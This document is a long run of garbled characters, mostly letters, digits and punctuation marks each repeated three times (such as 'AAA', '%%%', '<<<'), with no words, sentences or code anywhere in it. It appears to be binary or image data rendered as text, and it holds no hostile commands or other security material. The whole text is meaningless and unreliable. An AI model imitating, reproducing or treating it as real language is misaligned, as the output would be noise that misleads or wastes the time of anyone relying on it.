***555AAA111EEE@@@%%% %%%'''!!! !!!$$$)))AAA<<<444999@@@<<<>>>BBB???===:::===CCC;;;444333444888111///$$$$$$111,,,+++,,,,,,'''######---@@@JJJ:::BBB444111""" 777===%%%777===BBB???;;;'''+++222===```\\\QQQ;;;,,,777CCC333HHHCCC''' %%%'''!!! !!!888666++++++888333222444333 (((111!!!FFFAAA@@@BBBAAA===999999CCCWWWaaaQQQHHHLLLTTTOOO%%%+++%%%'''///333)))""" 777===%%%JJJRRR444;;;BBBDDD@@@444***+++222>>>>>>444%%%(((888;;;777333222222222222222222222111FFFLLLKKKIIILLLJJJ$$$)))%%%"""WWW___WWWSSSVVVSSSHHH@@@777333444777777333777EEECCCCCCAAA???<<<666222:::OOOXXXKKKBBBDDDEEE???@@@GGGMMMYYYZZZWWWQQQOOOVVVUUUIIICCC>>>666...)))(((''''''((()))777QQQUUU\\\666333444;;;BBBDDDdddXXX777:::NNNOOOUUUaaabbb444%%%(((333)))---((($$$$$$##################"""######$$$999>>>:::888>>>$$$)))%%%"""+++333+++'''IIIEEE&&&'''333444:::@@@MMMOOOKKKFFFCCCJJJJJJ===777333+++###---GGGJJJ666666333444;;;BBBDDD@@@444***+++222>>>>>>444>>>+++666AAA))) $$$444000,,,,,,///111777===BBB>>>555111555777444///"""&&&%%%!!!&&&444222111111...+++&&&"""***>>>HHH///...;;;555111,,,000666666333444;;;BBBDDD@@@444***+++222>>>>>>444%%%---888CCC+++"""&&&!!!)))---,,,(((---;;;:::999888666333 &&&///"""IIIGGGGGGFFFDDDAAA;;;888@@@UUU___QQQIIIKKKLLLGGG%%%111333///***(((///...""",,,000666666333444LLL^^^iiilllHHHBBB888###***333--->>>BBB<<<222333222222222222222222222222222111BBB@@@AAADDDDDD??? %%%(((%%%MMMVVV```^^^YYYQQQDDD@@@999555555444333222666???@@@GGGBBB@@@GGGFFF===???LLLQQQBBB:::777999>>>BBBAAAEEEYYY___WWWJJJ<<>>BBB<<>><<<333!!!***555999HHHBBB888###***333--->>>BBB<<<222444 )))***))))))''',,,555666>>>999777>>>===###(((CCCDDDKKKGGGEEELLLKKKCCCEEERRRWWWIIIAAA>>>@@@FFF111777///"""  &&&>>><<<333!!!***555OOObbbfffhhh{{{BBB222333555///<<<===888--- 222222222222222222222111 >>>999<<>>GGGBBB===:::===CCCGGGGGGFFFGGG@@@555222222555<<<<<<555666QQQ\\\XXXIII555999AAACCC---***(((((('''''''''''''''222UUUlllbbb ...222555lllgggVVV;;;;;;WWWXXXRRR```===888--- $$$$$$###########################""""""""",,,888555000+++... !!!'''"""$$$(((%%%""" &&&111000***$$$***EEEPPPLLL===***---666666"""'''000GGG=== ...222555GGGBBB222333555///<<>>AAA $$$$$$!!!"""&&&YYY[[[RRRPPPQQQYYYWWWGGG999666999<<<<<>>666///HHHXXX```\\\IIIEEEIIIRRR333***(((''''''''''''''''''***???SSSAAA 000<<>>:::888444444000$$$111888555"""""",,, --- 000<<>>--- 000<<>>EEE  444666PPPOOOOOOIIIFFFCCCIIIJJJAAA666333>>>BBBGGGNNNSSSJJJDDD<<<555666111---///111222666>>>BBBAAA>>>===??????:::EEERRR^^^cccccc]]]YYYVVV222+++)))(((''''''''''''''''''***444 ===FFFJJJpppkkk^^^???AAA[[[\\\222########################""""""""""""+++,,,+++(((((('''+++  444666%%%$$$$$$888FFFRRRWWWWWWQQQMMMKKK&&&  ===FFFJJJLLLGGG:::777999222555   777555000,,,,,, 000555<<>>555***(((333888<<>>>>>444000???HHHEEE???<<<;;;KKK```aaaPPPOOOPPPIIIGGGEEEKKKLLLCCC888666$$$)))  555777999===DDDIIIIIIEEEDDD[[[gggmmmlllgggcccaaa<<<777 ===FFFJJJ|||zzzjjjbbbppp```UUU666BBB;;;''' 222111 EEEDDD@@@AAAAAABBB""""""  !!!HHHGGGHHHKKKGGGGGGLLLLLLDDD999555======EEEQQQQQQMMMFFF>>>444222///...222444666:::HHHOOONNNEEE@@@>>>DDDIIIOOOSSSWWW\\\]]]\\\\\\OOO;;;777000***'''''''''''''''&&&&&&111HHHFFF777SSSaaaPPPFFFZZZfff___''' ##################""""""""""""!!!---111///777666222333333""""""  !!! !!!GGGKKKPPPQQQPPPQQQDDD///+++$$$111HHHFFF777///===,,,"""666BBB;;;@@@&&& 777999999666 !!!!!! '''>>>;;;444,,,###!!!999@@@,,,000555666555666))) 111HHHFFF777///===,,,"""666BBB;;;''' ??????888---***222222;;;FFFFFFCCC<<<444+++)))&&&%%%***,,,!!!(((MMMRRRWWWXXXWWWXXXKKK777333,,,'''$$$$$$$$$$$$%%%$$$$$$'''333;;;:::UUUlllkkk[[[SSS===,,,"""666BBB;;;''' ''''''((((((((((((((()))555999777??????;;;<<<<<<>>>IIIKKKLLLIIICCC444...888BBBEEE@@@777555888CCCMMMHHHGGGIIILLLHHHHHHMMMMMMFFF;;;888''''''$$$ 888:::<<<@@@OOOVVVUUUMMMGGGQQQXXX\\\```eeegggfffgggZZZEEEAAA;;;111HHHFFF777sssaaaCCC;;;DDDJJJbbbCCC<<<&&&  @@@???<<<;;;:::???"""&&&   HHHJJJIIIFFFEEEOOOUUUYYYHHH555333666===KKKTTTSSSUUUWWWVVVDDD888111000555999>>>AAAKKKRRRNNNKKKBBB@@@FFFMMMOOOPPPPPPPPPMMMBBB===666DDD>>>@@@444(((''''''''''''&&&&&&(((@@@---,,,555;;;SSSggg```&&& #########"""""""""""""""!!!!!!(((,,,---222111...---,,,"""&&&   $$$DDDDDD@@@666111***777333444)))(((@@@---///CCC<<<>>>&&&  555555444$$$***/// !!!******,,,---DDD333666===@@@AAA******&&&(((@@@---///CCC<<<&&& $$$***MMM<<<***(((+++222@@@IIIIIIKKKMMMLLL;;;///(((''',,,%%%((()))***KKKGGG===888222@@@;;;<<<111%%%$$$$$$$$$$$$%%%$$$%%%&&&,,,222LLLdddQQQ444---555///CCC<<<&&& '''''''''(((((((((((()))000444555::::::777666555;;;GGGGGGGGGDDDBBBLLLPPPKKKGGGGGGBBB888555333555AAAHHHJJJIIIGGGFFFPPPVVV[[[JJJ777555 !!!******,,,---,,,;;;???DDDHHHRRRYYYUUURRRJJJHHHNNNUUUXXXYYYZZZZZZVVVLLLGGGAAANNNIIIKKK@@@(((@@@---WWWeeeYYYFFF:::OOOddd$$$???IIIGGGCCCGGGGGG000444%%% GGGLLLPPPUUU[[[\\\ZZZQQQ???000---...444???FFFDDDIIIRRRVVVMMMDDD666000999CCCMMMQQQOOOOOONNNLLLIIIJJJTTT[[[WWWQQQMMMMMMIII>>>555;;;===DDDAAA222(((''''''''''''&&&###111JJJ777***@@@UUUGGG555###""""""""""""""""""""""""!!!$$$(((000;;;999555888999000444%%%  %%%***000111AAAAAA===222)))///222888555'''###111&&&111$$$***,,,$$$'''...222222 %%%***000111000''' ))):::DDDLLLIIICCC''''''""" ###111&&&111$$$000111000'''"""###)))444<<<:::>>>HHHMMMCCC;;;---'''"""###,,,333000***HHHHHHDDD999111777999@@@>>>///%%%$$$$$$%%%$$$$$$%%%%%%%%%$$$%%%%%%GGGUUUJJJ777+++111$$$''''''''''''((((((((()))))),,,000999DDDBBB>>>BBBCCC======;;;AAAFFFZZZ^^^OOOEEECCCCCC>>>888:::BBBFFFGGGLLLQQQVVV\\\]]]\\\SSSAAA222/// )))---$$$ ???IIISSSWWWVVVWWWUUUSSSQQQRRR\\\ccc```[[[WWWWWWSSSHHH???FFFHHHOOOLLL>>>555###111&&&===KKKYYYXXXFFFNNNKKK999 FFFEEECCCBBB???AAACCC FFFMMMTTTUUUPPPNNNOOONNN@@@111///333666===EEEBBBDDDLLLMMMMMMMMM>>>999@@@HHHOOOPPPJJJGGGGGGIIINNNMMMNNNMMMQQQRRRLLLJJJLLL???888III>>>IIIHHH>>>000***+++---'''&&& JJJIII777???<<<)))"""""""""""""""""""""!!!###)))111888777555333111333 !!!)))***%%%###???===@@@333,,,===222===;;;  &&&%%% ---...(((,,,000...222!!!)))***%%%###$$$### >>>===>>>>>>BBBCCC<<<###&&&######"""  &&&%%%***%%%###$$$### +++222:::777:::BBBCCCCCCCCC555"""'''%%%&&&&&&***LLLFFFDDDGGG;;;444EEE:::EEEDDD;;;---'''(((***%%%$$$$$$%%%$$$$$$%%%%%%---<<>>===:::===???BBBAAA???999777======<<<>>>@@@AAA<<<@@@DDDBBBFFFMMMTTTUUUQQQOOOPPPOOOBBB333111 ###$$$$$$$$$FFFNNNUUUWWWQQQNNNNNNQQQVVVUUUVVVVVV[[[[[[UUUSSSWWWIIIBBBTTTIIITTTSSSJJJ<<<666 &&&555555999<<<;;;888777444 AAAAAADDDCCC???>>> LLLPPPRRRSSSKKKFFFCCCAAA>>><<<;;;HHHOOOLLLLLLRRRRRRRRRQQQOOOLLLHHHKKKMMMKKKLLLOOOKKKFFFCCCEEEJJJHHHFFFCCCGGGGGGJJJOOOLLL<<<666AAALLLLLLBBBBBB===666333111,,,***---,,,)))'''%%%"""""""""""""""""""""!!!%%%,,,111333333666555111  %%%'''((( CCC???000***555@@@@@@   $$$$$$%%%,,,000111...111777%%%'''((( %%%###"""(((555:::888777333777888;;;AAA%%%&&&&&& %%%""""""'''((( %%%###"""GGGHHHIIIHHHEEEBBB>>>###!!!AAAAAADDDJJJFFF777111===HHHHHH>>>???:::333000///***'''$$$$$$%%%%%%%%%%%%%%%&&&***------***(((''''''''''''((((((***)))---555999;;;<<>>%%%###"""((()))***)))&&&######SSSQQQRRRUUURRRMMMJJJMMMRRRPPPOOOKKKOOOPPPSSSYYYVVVFFF@@@LLLWWWWWWMMMMMMIIIBBB 555555555555444444444555  >>>:::888888666666444   LLLLLLMMMNNNCCC>>><<<777IIIaaa```\\\]]]\\\XXXXXXYYYUUUMMMJJJLLLKKKMMMTTTPPPNNNPPPRRRRRRQQQKKKFFFDDDCCCNNNSSSPPPRRRWWWOOOAAA@@@>>>DDDTTT\\\___[[[KKK777+++%%%%%%$$$%%%%%%%%%""""""""""""%%%)))%%%###)))...///,,,******((('''    !!!"""###KKKCCC555333222...666:::666&&&!!! """ ###)))///333000333777!!!"""### 777666222333222AAA;;;666444444???DDDAAACCCHHH)))...666:::NNN>>>*** !!!"""### 777666222333222......000,,,CCC@@@BBB+++***$$$HHHMMMJJJLLLRRRJJJ<<<;;;:::@@@PPPXXX\\\XXXHHH444))))))&&&$$$$$$%%%%%%%%%%%%$$$%%%%%%%%%%%%&&&&&&'''''''''''''''(((111---+++111777888555333333111111000444555888???>>>444333666<<>>DDDFFFIIIOOOXXX]]]WWWUUUYYYWWWUUUSSSQQQPPPKKKFFF@@@BBBEEEOOOQQQSSS[[[]]]OOOAAADDD@@@444999???===aaabbbRRRQQQ&&&  $$$$$$%%%%%%$$$$$$"""!!!"""!!!###$$$'''&&&"""!!!######"""&&&&&&  $$$+++### !!!QQQCCC444777;;;===---,,,&&&  )))"""&&&+++,,,,,,,,,...555;;;BBB::: !!! ///IIIBBB111%%%@@@;;;666///222555???BBBDDDLLLOOOAAA111///SSSUUUFFFDDD>>>+++$$$(((###&&&$$$!!!$$$+++### !!! ///IIIBBB111%%%???EEENNNTTTIIIHHH$$$>>>IIIKKKMMMUUUXXXJJJ<<>><<<888>>>[[[uuuBBB111%%% &&&///444...,,,^^^]]]\\\ZZZXXXWWWSSSNNNGGGJJJMMMXXXZZZ\\\dddgggYYYKKKNNNJJJ>>>EEEJJJIIIlllnnn___^^^&&&  999666555444444444444444 111555888888======;;;  HHHGGGDDD888888888;;;FFF]]]nnncccTTTHHH??????GGGJJJOOOYYY[[[]]]YYYTTTOOOPPPSSSSSSOOOHHHDDDCCC<<<;;;:::GGGOOOUUU^^^cccZZZPPPLLLEEEFFFBBBEEEEEEUUU^^^ZZZTTT*** %%%%%%%%%%%%$$$$$$"""!!!!!!###(((,,,(((###"""###'''******//////   WWWNNNDDD'''  000999555///*** ***&&&""""""###&&&,,,111444666333  333DDD999888444333---,,,***777@@@FFFOOOTTTLLL***''' 444777777HHHQQQMMMGGGBBB///$$$%%%$$$$$$%%%%%%    333DDD999***!!!EEEOOORRRSSSGGG@@@555333@@@JJJOOOYYY^^^VVVKKKHHH@@@BBB???BBBBBBRRR[[[XXXRRRMMM999...000...///000000)))&&&%%%%%%%%%%%%%%%&&&&&&'''''''''''''''***000444111++++++,,,000333444999999777999555555666999???EEEHHHKKKHHHGGGDDD999999999<<>><<>>...+++...000...***&&&%%%%%%%%%%%%%%%&&&'''''''''''''''---333666///)))***---444;;;@@@FFF???333555777;;;AAA???;;;<<<<<<999888:::===BBBHHHNNN\\\999(((!!!!!!&&&...,,,WWWUUUUUUUUUUUUUUUUUUTTTOOOLLLMMMGGGBBB888999RRR```bbbeeefff[[[WWWSSSYYYIIIGGGPPPOOOTTTSSSJJJJJJ  ???===888444444444444888DDD;;;<<>>EEE ...:::***###&&& !!!!!!!!!!!!"""######&&&***)))---+++''')))((('''111/// $$$######!!!,,,///111000###  ...:::***###&&& *** """%%%///:::333...222999999555777555,,,'''%%%$$$!!!***///(((---===CCCFFFHHHGGG###'''%%%+++---&&&"""000777$$$333FFFRRRBBB:::=== '''+++555@@@######!!!$$$***(((***------444555,,, JJJOOOGGG;;;333444555)))"""777GGGMMMPPPRRRQQQDDD===111///555777000---;;;BBB...>>>PPP\\\MMMEEEHHHCCC===CCCAAA555(((&&&%%%%%%%%%&&&''''''''''''++++++...222222666444111AAAFFFMMMMMMIIIKKKIII@@@;;;:::<<<:::;;;CCCOOOUUU(((***------444555,,, KKKIIIGGGJJJOOONNNGGGCCCFFFOOOYYY]]]WWWIIIAAACCCDDD777111FFFVVV\\\^^^aaa```SSSLLL@@@>>>DDDFFF???<<>>EEE@@@444111000,,,,,,...000111444!!!***...///''' 222;;;>>>BBB...)))!!!///&&&''',,,///+++...333,,,+++******(((&&&''')))******...777<<<<<>>777666===MMMMMMKKKKKKJJJAAAAAAEEE???000)))'''&&&%%%%%%&&&'''''''''...///666<<>>KKKTTTWWW\\\___YYYQQQHHH???@@@EEEIIIDDDHHHMMMFFFEEE******(((((((((!!!SSSRRRUUUTTTLLLFFFFFF<<<444222555CCCEEEBBBKKK:::000)))"""!!!!!!###'''---***&&&,,,***+++555======;;;:::<<<888...(((111888!!!"""$$$&&& %%%&&&+++***""""""   ''':::000)))""" :::999111,,,'''555 111000111777888:::;;;111------333666///333555222&&&******(((,,,***###"""''' :::BBBAAA999""" ---&&&$$$(((555777555>>>:::000)))""" 666888555***%%%...666666555666======@@@AAA777444444999<<<%%%&&&### !!!IIIGGG,,,***###555444;;;AAAFFF@@@CCCLLLKKKBBBCCCAAAAAA777000...222???BBB@@@III\\\RRRKKKDDDAAA<<>>@@@IIIOOOTTTXXXXXXVVV[[[YYYQQQCCCCCCJJJQQQVVVOOOSSS[[[ZZZRRRRRRPPPPPPFFF???===AAAOOOQQQOOOXXXkkkbbb[[[""" ###OOOWWW\\\VVV@@@??? DDD:::222///111<<>>===???666...,,,...999GGGTTTXXXVVV???777999333...///888@@@GGGLLL...(((&&&&&&%%%%%%''''''666NNNNNNJJJGGGKKKDDD???AAAHHHNNNIII@@@CCCVVVRRR$$$JJJMMMPPPVVVTTTIIIKKKOOOHHHFFFOOOUUUZZZXXXMMMHHHBBBVVVggg||||||hhhZZZWWWXXXRRRMMMLLLNNNEEE===;;;===HHHWWWcccgggeeeNNNGGG $$$***LLLOOOWWW^^^QQQCCC @@@PPPRRRBBB:::BBB@@@CCC(((###!!!%%%$$$###'''000111666666777888///000333222333444999<<<:::222444888$$$"""!!!****** %%%%%%###KKK@@@+++---(((###<<>>222'''222BBBDDD333,,,444222555(((###,,,///...///111555999777///111666:::666777:::???>>>!!!***444FFFLLL^^^RRRGGG???;;;999666<<>>777???===@@@IIIDDD===777>>>===AAA===999<<<@@@GGG222...((('''EEEIIIMMMLLLKKKTTTSSSHHH<<<;;;777777IIIPPP%%%###"""JJJJJJMMMQQQVVVWWWXXXXXXXXXXXXYYYTTTQQQOOOJJJPPPYYYcccuuu{{{mmmaaaWWWNNNJJJHHHEEEKKK\\\]]]MMMFFFNNNMMMPPPYYYTTTLLLFFF%%%AAAHHHXXXddd```LLL 333KKKOOOEEE===FFFBBB;;;((((((###"""'''...111222111222;;;???===666777333//////222777999::::::<<<"""$$$((((((***'''$$$###!!!  BBB666... '''*** !!!---===JJJEEE111!!!%%%)))***666444---...***"""999===>>>???===999999666666((("""%%%)))***%%% ###...888111222999666///))) %%%===@@@666///888444---!!!888222333///++++++///444555666777:::===???CCC###...888111222999666///)))666888777---///GGGKKKAAA999BBB???888666666999111555555333666111111888HHH'''QQQRRRSSSQQQMMMMMMKKKJJJ<<<777555444666:::BBBIIIGGGIIIGGGEEELLLPPPPPPTTTZZZZZZTTTPPPRRRVVVWWWRRR\\\ggg___```hhheee^^^XXXMMMEEEGGGFFF<<<>>>WWWZZZPPPIIIRRRNNNHHHEEEEEEHHH@@@DDD&&&888999 LLLaaaUUU  ---@@@BBBFFF@@@IIINNNIII  111222)))&&&&&&---888999555444777:::<<<999555555111///555999>>>@@@DDDEEEHHH,,,((('''+++...---###...,,,000 !!!%%%***%%%   $$$111FFF:::'''++++++---000444000,,,,,,))) ###'''(((***,,,===<<<@@@DDDCCC888111222..."""!!!&&&""" ''',,,)))&&& 000###111333777111;;;AAA<<<  888444111111---,,,111555;;;>>>AAA&&&""" ''',,,)))&&& ---)))<<<>>>BBB<<>>:::999<<<<<>>>>>KKKRRRTTTYYYZZZRRRGGGHHHFFFGGGOOOUUU[[[XXXUUUOOOHHHDDDBBBGGGNNNIII<<<888KKKMMMQQQLLLVVV[[[VVVKKK<<<888777:::   555 LLL```___''' !!!$$$ 555888888///***222;;;;;; 222111AAACCC===///***666:::???<<<<<>>???KKK???KKKUUUWWWUUUKKKJJJLLLIIICCCEEEDDD@@@CCCCCC:::666>>>GGGGGG???;;;777999555444444555555444666>>>777BBBPPP&&&'''  """...333444444000)))111222>>>???222'''((( BBBNNNSSSSSSSSSOOOGGGIIIOOOLLLHHH>>>888///---$$$"""+++555777999<<<;;;<<<<<<===AAA'''***+++)))BBBCCCDDDAAA>>>EEENNNOOO>>>:::???===888999888555111666---;;;777444+++     '''555===>>>---%%%&&&$$$###&&&'''%%%%%%@@@FFFBBB???555...&&&$$$""",,, %%%'''***AAA>>>;;;<<<===:::888444)))&&&+++111222444!!!!!!''''''"""%%%"""222)))"""$$$000000$$$ $$$((()))''' """...333444444000)))***000---*** ***))) '''###!!!!!!''''''"""%%%"""  ...###%%%...888<<<555222+++############$$$$$$$$$NNNPPPSSSTTTRRROOOPPPRRROOOMMMSSS\\\^^^MMMJJJOOOMMMHHHIIIIIIFFFBBBDDDCCCBBB;;;EEEPPPLLL@@@===CCCKKKBBBCCCKKKSSSQQQMMMKKKBBB999888<<<===JJJJJJ===333555===HHHLLLDDDAAA;;;333333333333444444444333555999$$$"""###))) %%%*** ,,,333111111000...***333333FFFZZZNNN222))) LLLRRRPPPQQQOOOMMMIIIDDDAAA777444111///)))###!!! %%%///888999:::::::::===???EEE@@@AAAEEEBBB===:::888888CCCMMMRRRRRR===BBBDDD>>>999;;;===>>><<<777222???<<<444...<<<;;;;;;:::,,, !!!666*** )))222:::888999???... ))):::@@@555!!!)))@@@:::777---+++(((&&& &&&/// """(((###$$$))):::555333000,,,222111++++++,,,+++$$$!!!%%%&&&######$$$###888888***"""$$$%%%777$$$"""###))) <<>>CCCEEE???:::===???@@@>>>999555000 &&&######$$$######""" !!!666******///,,,***+++000111)))$$$$$$%%%$$$PPPLLLMMMQQQOOOJJJHHHEEEGGGRRR[[[``````MMMRRRSSSNNNIIILLLNNNOOOMMMHHHCCC???>>>CCCIIIHHHBBBCCCDDDIIIDDDDDDIIIRRRSSSRRRRRRQQQCCC<<<>>>???QQQfffZZZ>>>666999>>><<<::::::???@@@888444444555444444 444333999(((!!!  &&&++++++...---)))###;;;222===SSS[[[GGG666 EEEKKKJJJMMMLLLHHHAAA;;;;;;666(((###%%%######&&&'''%%%&&&---666:::>>>===999888;;;???>>>@@@CCC???>>><<<:::;;;:::<<>>===;;;999111///000000000111,,,222<<>>777,,,"""&&&222333,,,"""000888111111,,,%%%---111!!! """!!!$$$'''###777555******'''%%%"""%%%(((!!!&&&$$$)))"""###777<<<777,,,,,,###((('''!!!(((!!! 555... &&&++++++...---)))### 999<<>>===;;;333111222  $$$)))"""###"""'''!!! ///777###KKKJJJMMMPPPLLLLLLJJJHHHIIIHHHJJJPPPOOOHHHQQQNNNIIILLLNNNMMMLLLJJJBBB@@@AAABBBBBB>>><<<999<<>>...!!!111'''"""))))))888333///'''&&&"""'''999000'''666+++ '''%%%"""%%%*** ###333555,,,%%%###$$$%%%,,,000'''%%%:::888999666222DDD777111'''"""******""" ###)))!!!  (((222***!!! 555,,,%%%###""" 333???YYYRRRKKKAAACCCEEE<<<555666111000,,,'''  '''%%%%%%###$$$!!!///FFF[[[^^^UUUNNNLLLKKK IIIGGGCCCBBBNNNggg```ZZZPPPRRRTTTKKKDDDEEE@@@???;;;666666555444222111DDDNNNLLLJJJNNNTTTTTTRRRSSSPPPLLL>>>LLL___iii]]]NNNGGGAAA666===PPPeeerrrppp```SSSMMMBBB888""">>>555;;; '''!!!222CCCLLLEEE&&&(((:::999777888777444444333000222000,,,(((888777SSSSSSRRRPPPQQQOOOKKKGGG777000000555111...***((()))(((%%%(((666555222666EEEFFF???999CCCIIIPPPUUUPPPOOOPPPGGG>>>JJJDDD???HHHFFFHHHOOORRRIII@@@<<<999222+++&&&""" ###((("""!!!###$$$444<<<555,,,******000333333///000:::===<<>>;;;444...)))%%%###  ###"""%%%%%%+++***KKKEEEOOOUUU\\\bbb]]]333444TTTMMMYYYSSSNNNVVVVVVXXX___bbbYYYQQQMMMKKKCCC<<<777444222555:::555444EEECCCCCC@@@FFFQQQTTTTTTZZZZZZGGG???GGGdddgggFFFQQQ]]]YYY^^^VVVQQQWWWjjjqqqlllbbbTTTNNNHHH$$$GGG===;;;''',,,)))---888BBBIIIHHH555&&&,,,222222$$$!!!&&&+++......&&&$$$***444444!!!&&&KKKMMMNNNDDDBBBIIISSSSSSAAA>>><<<;;;???BBB===222444444000...000555666:::999999999888<<>><<<<<<777///(((%%%)))'''%%%)))'''))))))+++888===:::555222,,,)))+++000///---888>>>BBBHHHGGG444)))***)))###"""333===;;;444:::333000,,,""" %%%---<<>>CCCNNNXXX___]]]JJJ;;;AAAGGG$$$***444III888555333111666999444)))++++++'''%%%''',,,--- ###---444 $$$!!!######%%%%%%'''333999666111...(((%%%(((--- 555<<<@@@777IIISSSRRRJJJ:::333000,,,""" &&&...===CCC???---888BBBIIIHHH555&&&,,,222222$$$!!!&&&+++......777 ###---444222444444///***---111666999KKKKKKNNNGGG???>>>>>>999111+++(((,,, $$$!!!FFFDDDHHHLLLVVV444222444444XXXSSSVVV[[[```cccYYYYYY\\\UUUOOOMMMMMMHHH@@@999777;;;999777;;;:::<<>>???,,, (((---333!!! """$$$+++***///555666333 """===CCCJJJIIINNNTTTTTTRRRKKKFFF???888:::???EEEAAAAAAAAA<<<666//////333111000111333888;;;???FFFHHHMMMMMMLLLIII@@@AAALLLOOOGGGCCCCCC@@@:::::::::555000)))'''(((111///)))&&&+++---(((***000555::::::222222111333///000,,,000333111222>>>*** ### 555777555///333;;;888888CCC666000333333---+++---222===???@@@JJJOOOSSSTTTBBB555***///555666333,,,<<<555///000666<<<888888888333,,,&&&'''***(((###*** !!!&&&(((###%%%+++000555666.........///+++,,,---MMMKKKEEEIIIQQQNNNNNNCCC666000333333...,,,---333>>>@@@AAA444:::>>>???,,, (((---333!!! """,,,000...---...111555###***,,,111111111...%%%&&&111444<<<<<<777222+++???DDDGGG###***,,,111111111WWWNNNOOO[[[^^^VVVSSSSSSPPPJJJKKKKKKFFF@@@:::888:::BBBAAA;;;999===FFFFFFAAABBBGGGJJJIIIJJJVVVZZZ???<<>>>>>CCCPPPTTTFFF888666666777888888///***...777:::@@@FFFGGGQQQOOOKKKNNNJJJAAADDDEEE???;;;888555666666555222...'''%%%'''///111...,,,444:::333***+++///000---)))...333555111222666444000)))+++ 111,,,### 000***!!!,,,@@@888:::>>><<<333666;;;BBB888777;;;>>>888222111,,,444+++---666CCCLLLPPPHHH...111666999999888///***'''444444:::GGGKKK===...------...//////'''%%% 555...%%%'''***+++(((%%%***///111---...444 UUUMMMPPPTTTRRRIIILLLQQQBBB888777;;;>>>888333222---555---...777...777:::222 &&&***'''%%%LLLPPPBBB333222222333444555,,,(((,,,444888???DDD+++555444///333...:::%%%***+++555444///\\\XXXPPPRRRTTTNNNJJJHHHFFFFFFGGGFFFCCC???888666888@@@CCCAAA???GGGNNNNNNNNNMMMKKKGGG@@@CCCOOO```\\\SSSHHHPPP```ZZZQQQ]]]ppphhhkkkooommmdddhhhlll^^^TTTSSS222222333bbb^^^WWW ''''''"""""" %%%***...,,,***$$$$$$,,,,,,666777777777***$$$<<>>444333--- 000,,,---000...---111444222...,,,000444###***///@@@GGGNNN]]]```NNNDDDHHHHHHHHHIIIFFFBBB<<<666555222======888...***""" %%%DDD===:::===HHHBBB888888222***///111222---,,,000333888<<<>>>DDDFFF***"""$$$***+++***UUURRRRRRQQQTTTXXXUUUVVVYYYNNNKKKHHHDDDEEEBBB<<<888;;;<<<;;;;;;BBBNNNQQQQQQKKKCCCBBBDDDGGGJJJMMMWWW[[[RRRHHHNNNJJJDDDKKK[[[bbbiiiyyy|||iii```ccccccdddeeeEEE@@@666bbbVVVOOO%%%,,,))))))111---%%%######&&&$$$!!!###$$$"""(((+++111000,,,+++AAAGGGJJJOOONNNJJJIIINNNGGGDDDEEEGGGCCC???@@@GGGKKKGGG@@@888111111333333000((((((///333777666666???CCCAAA>>>???===???EEEHHHJJJIII>>>999666333666:::<<<333---)))&&&%%%$$$)))444444000222111111555888444111666>>>...+++%%%***---555222&&&)))666ZZZVVVLLLFFF:::333:::AAA>>>>>>FFFBBB:::888666<<<+++111000,,,+++000)))&&&((()))&&&666666>>>BBB222000 """ ///***---------111444000...333:::111---111:::???CCCJJJGGG;;;>>>LLLZZZVVVLLLFFF:::333:::BBB??????GGGCCC;;;999222AAA>>>@@@AAA>>>:::;;;CCCGGGCCC<<<444---...000000---&&&&&&---111555555555 $$$(((OOOMMMNNNLLLNNNTTTWWWYYYYYYNNNIIIGGGDDDGGGKKKMMMEEE???;;;888777777SSSKKKHHHFFFBBBBBB>>>>>>>>>===EEEEEECCCDDDNNNLLLHHHLLLUUUZZZ^^^fffcccWWWZZZgggvvvrrrhhhEEEAAA777___RRRMMM&&&+++...///)))### !!!"""$$$######%%%@@@CCCAAA:::<<>>;;;999;;;CCCIIIHHHCCC888555222,,,,,,222333,,,///222555555222:::;;;999AAA:::555555:::<<<===>>><<<444---***---333777333)))###$$$$$$&&&+++222444,,,...000000333666333777CCCHHH222   ###)))((()))888ZZZVVVMMMCCC666111111444;;;@@@CCCDDD===222222666888######%%%,,,+++)))"""!!!///222555...'''$$$''' '''))),,,,,,...111///333@@@""""""$$$)))))))))///222888>>>===>>>===DDDCCCAAA:::999666444666???EEEDDD???333222///))))))///111***---000333 HHHOOOIIICCCDDDJJJLLLMMMNNNLLLEEE===:::>>>EEEIIIEEE;;;555666777999YYYQQQNNNIIICCC>>>777666777:::@@@;;;888<<<<<>>hhhWWWQQQ$$$%%%$$$!!!111777<<<555555888===BBBCCCBBB@@@:::777:::BBBFFFCCC---333777000111111555444,,,111222333:::999444000222777;;;===BBB:::///,,,'''(((------%%%!!! ###,,,000222666000***,,,000555666:::AAAKKKJJJ  ///999555888MMMPPPSSSLLL;;;555///---444888:::999---000***&&&'''---222$$$&&&$$$###666;;;444(((%%%!!!"""  '''+++111222666)))---((("""###(((***++++++000......222777<<<===<<<;;;555111555>>>AAA???<<<:::::::::555111***000555...///AAAIIIHHHDDD???AAAGGGKKKMMMRRRKKK@@@<<<999:::??????777333222666XXXRRRKKKAAA;;;:::;;;;;;===???>>>CCCHHHBBB===>>>CCCEEEGGGGGGKKKaaajjjfffiiihhhlllooo""",,,---YYYWWW^^^"""***,,,^^^UUUHHHJJJPPPQQQLLL  ---333<<<;;;555444888;;;;;;::::::<<<@@@JJJ:::======AAA===;;;@@@:::888444222222///---,,,444666333666:::>>><<<555///,,,+++***%%%%%%%%%***...000000111///222555333222:::FFFIIICCC 777AAABBB===;;;BBB666***???AAABBB&&&###!!!###(((000,,,000333777666///(((&&&%%% ///...'''%%%''',,,000---'''###%%%***&&&,,,555333......222444555555444777<<>><<<;;;CCCGGGCCCGGGKKKOOOMMMGGG@@@===<<<<<<888777888NNNHHHAAA;;;;;;@@@FFFBBB@@@AAA@@@BBBHHHKKKHHHBBB>>>@@@FFFHHHLLLMMM""",,,---!!!+++^^^SSSYYYWWW\\\[[[YYYTTTVVVXXXSSSFFFLLLKKK     (((...777:::999666444222555777:::@@@>>>888222111444222111222222222......333444222000,,,---333999888111+++******''',,,///000///111666:::888:::999333:::CCCJJJFFF@@@  &&& +++666AAABBB777===000(((;;;@@@???)))"""&&&"""$$$---+++)))&&&&&&---333222***%%%$$$%%%""" """"""''''''---000222111//////000---!!!'''///333222///------///111444:::DDDGGGDDD;;;999999???@@@???>>> $$$###@@@AAA@@@======BBBDDDBBB@@@<<<===DDDKKKJJJBBB===<<<<<<999???BBBLLLGGG>>>999999@@@FFFFFFAAAAAAHHHKKKNNNMMMJJJKKKKKKIIILLLPPPVVVNNN !!!+++!!!111jjjdddUUUEEEAAATTTRRRKKKDDDKKKMMMJJJGGGFFFJJJHHHFFFGGG  555///...000---///555555444222///999777---***))))))///222222000(((%%%%%%$$$***///222444666;;;:::444888;;;;;;CCCIIIKKKGGG--- %%%'''666FFFNNNHHH999)))&&&888666///---+++,,,'''  